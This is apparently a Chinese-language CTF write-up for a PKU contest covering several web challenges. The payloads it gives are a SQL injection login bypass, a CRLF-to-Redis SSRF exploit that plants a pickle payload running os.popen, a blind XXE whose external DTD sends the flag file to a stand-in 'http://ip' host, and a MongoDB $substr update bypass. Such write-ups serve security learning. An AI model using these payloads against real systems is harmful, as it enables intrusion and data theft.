前言
官方wp:https://contest.pku.edu.cn/media/landing_page/writeup.pdf
phpsql
sql注入
给了个登录注册的框,测了一下发现 password 过滤了空格
极简payload,两边闭合相等即可:
username: admin
password: '='
万能密码好像用不了,它用的mysqli_num_rows()
要返回一个非bool值,所以不能等于1或者0
登录后就得到flag
pyssrf
CRLF + ssrf打redis + pickle反序列化
from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)
def get_result(url):
url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)
if res:
return pickle.loads(base64.b64decode(res))
else:
try:
print(url)
info = urllib.request.urlopen(url)
res = info.read()
pickres=pickle.dumps(res)
b64res=base64.b64encode(pickres)
redis.set(url_key,b64res,ex=300)
return res
except urllib.error.URLError as e:
print(e)
@app.route('/')
def hello():
url = request.args.get("url")
return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
<h2>Here is your result</h2>
<h3>source code in /source</h3>
%s
''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')
@app.route('/source')
def source():
return
稍微审一下代码,
python3.7.1,一眼urllib.request.urlopen
存在CRLF注入
然后有pickle反序列化,应该是等会要命令执行的点
接下来看redis交互的这两行:
url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)
我们传入的url会作为键名传给redis
测试发现开了debug模式,题目不出网,考虑用报错带出命令执行的回显:参考https://xz.aliyun.com/t/10456
payload:
先传入?url=127.0.0.1:6379
,使其创建键名
然后写入命令
exp:
import hashlib
import pickle
import base64
import os
class opcode():
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('cat /flag').read())",))
poc = base64.b64encode(pickle.dumps(opcode()))
print(poc)
url="http://127.0.0.1:6379"
url_key=hashlib.md5(url.encode()).hexdigest()
print(url_key)
传入,用CRLF注入urllib头打redis:参考https://strcpy.me/index.php/archives/749/
?url=127.0.0.1:6379?%0d%0aset cbdecc92165b29374b6b62cca016d4f8 "gASVUAAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw0cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2lkJykucmVhZCgpKZSFlFKULg=="%0d%0asave
然后再访问?url=127.0.0.1:6379
即可得到flag
fileit
无回显xxe
ctrl+u得到hint:$creds = simplexml_import_dom($dom);
,明显是xxe,测试发现无回显
bp抓包直接post请求传入payload,注意Content-Type: application/xml
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip:port/test.dtd">
%remote;%int;%send;
]>
vps上的test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip?p=%file;'>">
于是原地tp带出flag
Messy Mongo
源码里面有账密ctfer:helloctfer!
接下来审index.ts,先看登录部分
app.use('/', serveStatic({ root: './static' }))
app.post('/api/login', async (c) => {
const { username, password } = await c.req.json()
assert(typeof username === 'string')
assert(typeof password === 'string')
const user = await users.findOne({ username, password })
assert(user)
const token = await sign({ user: user.username }, secret)
return c.json({ token })
})
app.use('/api/*', jwt({ secret }))
app.patch('/api/login', async (c) => {
const { user } = c.get('jwtPayload')
const delta = await c.req.json()
const newname = delta['username']
assert.notEqual(newname, 'admin')
await users.updateOne({ username: user }, [{ $set: delta }])
if (newname) {
await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
}
return c.json(0)
})
发现一个没见过的patch
请求方法,猜测要用到,里面有updateMany
,这里可以对用户数据进行修改
先抓一下post请求的登陆包
然后修改请求方法为PATCH,带上上面的token,传入请求头Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY3RmZXIifQ.iHO7zcH73BEaSK7ZNG8VwclFTPsOefrPDx0iWHG1jUU
接下来重点看对应的代码操作:
app.patch('/api/login', async (c) => {
const { user } = c.get('jwtPayload')
const delta = await c.req.json()
const newname = delta['username']
assert.notEqual(newname, 'admin')
await users.updateOne({ username: user }, [{ $set: delta }])
if (newname) {
await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
}
return c.json(0)
})
根据传入的 username,只对更新的 username 是否为 admin 进行了一次验证,用 updateOne
和 updateMany
方法更新信息,我们可以在注入mongodb语句时用$substr
来取字符来绕过这个验证,从而更新 username 为 admin
payload:
{
"username":{
"$substr":["admin", 0, 5]
}
}
这样子我们的账户名称就被更新为 admin 了,再次登录即可得到flag
JustXSS (Unsolved)
expr (Unsolved)
一个login框,好像只能填数字,输入字母会报错500